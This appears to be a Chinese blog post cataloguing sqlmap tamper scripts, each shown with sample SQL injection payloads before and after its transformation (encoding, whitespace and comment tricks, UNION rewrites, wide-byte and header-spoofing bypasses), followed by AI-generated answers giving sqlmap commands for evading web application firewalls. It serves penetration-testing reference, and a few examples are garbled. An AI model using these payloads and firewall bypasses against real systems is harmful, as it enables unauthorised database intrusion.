sqlmap常用tamper汇总及使用指导

遍历tamper脚本

一、编码:

1.1 base64encode.py
base64编码所有字符
("1' AND SLEEP(5)#")
替换后
'MScgQU5EIFNMRUVQKDUpIw=='
1.2 charencode.py
URL编码
SELECT FIELD FROM%20TABLE
替换后
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
1.3 chardoubleencode.py
二次URL编码(不处理已编码的)
SELECT FIELD FROM%20TABLE
替换后
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
1.4 charunicodeencode.py
unicode编码
SELECT FIELD%20FROM TABLE
替换后
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
  • 必要条件:ASP,ASP.NET
  • 使用数据库:Microsoft SQL Server 2000
  • Microsoft SQL Server 2005
  • MySQL 5.1.56
  • PostgreSQL 9.0.3
1.5 charunicodeescape.py
url解码中的%篡改成\\
1.6 htmlencode.py
html编码

二、空格过滤

2.1 overlongutf8.py
空格替换为%C0%A0
2.2 space2comment.py
空格替换成/**/
'SELECT id FROM users'
替换后
'SELECT/**/id/**/FROM/**/users'
2.3 space2morecomment.py
空格替换成/**_**/
已经测试过的数据库:mysql5.0 and 5.5
'SELECT id FROM users'
替换后
'SELECT/**_**/id/**_**/FROM/**_**/users'
2.4 space2mssqlblank.py
将空格替换成随机的以下字符(mssql)
'%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'
'SELECT id FROM users'
替换后
'SELECT%0Did%0DFROM%04users'
适用数据库:Microsoft SQL Server
已经测试过的数据库:sql server 2000 sql server 2005
2.5 space2mssqlhash.py
将空格替换成%23%0A
适用数据库:mssql mysql
2.6 space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
SELECT id FROM users
替换后
SELECT%0Bid%0BFROM%A0users
2.7 space2mysqldash.py
作用:替换空格字符(' ')(' – ')后跟一个破折号注释一个新行(' n')
('1 AND 9227=9227')
替换后
'1--%0AAND--%0A9227=9227'
2.8 space2plus.py
将空格替换成+
('SELECT id FROM users')
替换后
'SELECT+id+FROM+users'
2.9 space2randomblank.py
将空格替换成以下随机的字符
"%09", "%0A", "%0C", "%0D"
测试过的数据库:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
2.10 space2hash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227'
替换后
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

三、union关键词替换

3.1 0eunion.py
使用e0UNION替换UNION
已经测试过的数据库:Mysql,Mssql
3.2 dunion.py
将UNION换成DUNION
必要条件:Oracle
3.3 misunion.py
UNION篡改为-.1UNION
3.4 unionalltonnion.py
将union all select 替换成union select
'-1 UNION ALL SELECT'
替换后
'-1 UNION SELECT'
3.5 unionalltounion.py
替换UNION ALL SELECT 为UNION SELECT
('-1 UNION ALL SELECT')
替换后
'-1 UNION SELECT'

四、符号

4.1 apostrophemask.py
把双引号替换为单引号,将'替换成UTF-8url编码的%EF%BC%87
4.2 apostrophenullencode.py
将'替换成%00%27
("1 AND '1'='1")
替换后
'1 AND %00%271%00%27=%00%271'
4.3 between.py
将>字符替换为NOT BETWEEN 0 AND
将=字符替换为BETWEEN # AND # (这个#看下面的例子)
'1 AND A = B--'
替换后
'1 AND A BETWEEN B AND B--'
  • 已经测试过的数据库:Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0
4.4 greatest.py
使用greatest替换>    
('1 AND A > B')
替换后
'1 AND GREATEST(A,B+1)=A'
  • 已经测试过的数据库:MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0
4.5 symboliclogical.py
将and和or的逻辑运算符分别替换为(&&和||)
"1 AND '1'='1"
替换后
"1 %26%26 '1'='1"
4.6 bluecoat.py
将sql语句后的空格字符替换为%09,LIKE替换字符=
已经测试过的数据库:mysql5.1之前
4.7 commalesslimit.py
替换字符的位置
'LIMIT 2, 3'
替换后
'LIMIT 3 OFFSET 2'
必要条件:mysql
已经测试过的数据库:mysql5.0,mysql5.5
4.8 concat2concatws.py
将concat(a,b)替换成concat_ws(mid(char(0),0,0),a,b)
'CONCAT(1,2)'
替换后
CONCAT_WS(MID(CHAR(0),0,0),1,2)
必要条件:mysql
已经测试过的数据库:mysql5.0
4.9 equaltolike.py
将=篡改成LIKE
SELECT * FROM users WHERE id=1
替换成
SELECT * FROM users WHERE id LIKE 1
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
4.10 equaltorlike.py
将=篡改成RLIKE
4.11 ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。
('IFNULL(1, 2)')
替换后
'IF(ISNULL(1),2,1)'

五、特殊绕过

5.1 randomcase.py
随机大小写
'function()'
替换后
'FuNcTiOn()'
5.2 lowercase.py
将字符转换为小写
5.3 uppercase.py
将关键字符替换成大写
'insert'
替换后
'INSERT'
  • 已经测试过的数据库:Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0
5.4 multiplespaces.py
在sql关键字周围添加多个空格
'1 UNION SELECT foobar'
替换后
'1     UNION     SELECT     foobar'
5.5 percentage.py
在每一个字符前面添加一个百分比符号,asp语言允许
'SELECT FIELD FROM TABLE'
替换后
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
5.6 sp_password.py
将sp_password附加到有效负载的末尾,用来混淆
'1 AND 9227=9227-- '
替换后
'1 AND 9227=9227-- sp_password'
必要条件:mssql
5.7 varnish.py
附加一个HTTP头来 X-originating-IP = "127.0.0.1" 来绕过防火墙
5.8 xforwardedfor.py
附加一个虚假的HTTP头“X-Forwarded-For”
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
5.9 unmagicquotes.py
作用:宽字符绕过 GPC  addslashes
1′ AND 1=1
替换后
1%bf%27 AND 1=1--
5.10 appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码(Microsoft Access数据库)
('1 AND 1=1')
替换后
'1 AND 1=1%00'

六、注释绕过

6.1 randomcomments.py
用/**/分割sql关键字
'INSERT'
替换成
'I/**/NS/**/ERT'
6.2 halfversionedmorekeywords.py
在每个关键字之前添加mysql版本注释
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
替换成
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
必要条件:mysql<5.1
已经测试过的数据库:mysql4.0.18,5.0.22
6.3 modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
('1 AND 2>1--')
替换后
'1 /*!30874AND 2>1*/--'
6.4 modsecurityzeroversioned.py
作用:包含了完整的查询与零版本注释
('1 AND 2>1--')
替换后
'1 /*!00000AND 2>1*/--'
6.5 versionedkeywords.py
作用:对不是函数的关键字进行注释绕过  
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
替换后
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
6.6 versionedmorekeywords.py
作用:注释每一个关键字包括函数关键字
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
替换后
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQLmaptamper是指对抓包后的sqlmap请求加入变异行为,以逃避WAF及过滤规则的限制。tamper是一个python文件,可以在进行SQL注入测试时应用,以尝试绕过WAF和安全防护。 使用SQLmaptamper可以使用以下步骤: 1. 打开SQLmaptamper文件夹,可以找到多个与注入相关的tamper文件,如:apostrophemask.py,base64encode.py,between.py等等。 2. 选择一个tamper文件,将其加入到SQLmap的命令行选项中。 例如,使用apostrophemask.py变异脚本,命令行应如下: ``` python sqlmap.py -u www.target.com/vuln.php?id=1 --tamper=apostrophemask.py ``` 3. 运行SQLmap测试注入时,将应用选定的tamper文件,用于变异测试HTTP请求报文,最终目的在绕过WAF和安全防护,完成注入检测。 需要注意的是,不同的tamper文件是具有不同的变异特点和用途的,应根据实际情况进行选择和测试。 ### 回答2: SQLMap是一种专门用于自动化SQL注入渗透测试的工具,其tamper选项用于修改SQL注入时发送给目标数据库的Payload。使用tamper选项可以绕过一些特定的WAF(Web应用防火墙)或者应用程序针对SQL注入的过滤规则,增加注入成功的几率。 使用tamper选项的步骤如下: 1. 启动SQLMap并指定目标URL,例如:`python sqlmap.py -u http://example.com/index.php?id=1` 2. 执行第一步后,SQLMap会自动进行一系列测试,检测目标是否存在SQL注入漏洞。如果检测到存在漏洞,则可以继续下一步;否则可能需要尝试其他方法或者目标不具备SQL注入漏洞。 3. 输入`--tamper`或`-tamper`选项以及相应的tamper脚本,例如:`--tamper=space2comment`。SQLMap使用指定的tamper脚本修改发送给目标数据库的Payload。 4. SQLMap会自动应用指定的tamper脚本进行注入测试。如果需要使用多个tamper脚本,可以使用逗号分隔,例如:`--tamper=space2comment,randomcase`。 5. 执行tamper选项后,SQLMap会根据tamper脚本的定义修改Payload,然后再发送给目标数据库进行注入测试。 总之,tamper选项是SQLMap中用于修改Payload以绕过WAF或应用程序过滤规则的重要功能。用户可以根据具体情况选择合适的tamper脚本,提高SQL注入攻击成功的概率。 ### 回答3: sqlmap是一个用于自动化SQL注入的工具,tamper是其中一个功能,用于修改注入请求的参数和报文,以绕过WAF(Web应用防火墙)和过滤器。 使用tamper功能的步骤如下: 1. 首先,运行sqlmap并指定目标网址,例如:`python sqlmap.py -u http://example.com/page.php?id=1` 2. 在运行过程中,sqlmap会探测目标网址是否存在SQL注入漏洞。 3. 一旦sqlmap确认目标存在注入漏洞,它会提示选择是否使用tamper功能以绕过WAF和过滤器。 4. 输入`Y`或者`yes`后回车,sqlmap将提供一系列tamper脚本供选择。 5. 根据需要选择一个tamper脚本,例如选择`tamper/space2comment.py`,则会将空格转换为注释符。 6. sqlmap会自动将选择的tamper脚本应用于注入请求,并发送修改后的请求到目标网址。 7. 接下来,sqlmap会分析响应,如果注入成功,将继续进行注入测试。 8. 使用其他tamper脚本,可以尝试绕过不同的防御机制,如编码、大小写、拆分等。 9. 运行完成后,sqlmap将生成报告,并提供详细的注入结果和可能的漏洞利用方法。 总之,tamper功能是sqlmap工具中用于绕过WAF和过滤器的重要组成部分,通过应用tamper脚本可以改变注入请求的参数和报文,增加SQL注入成功的几率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值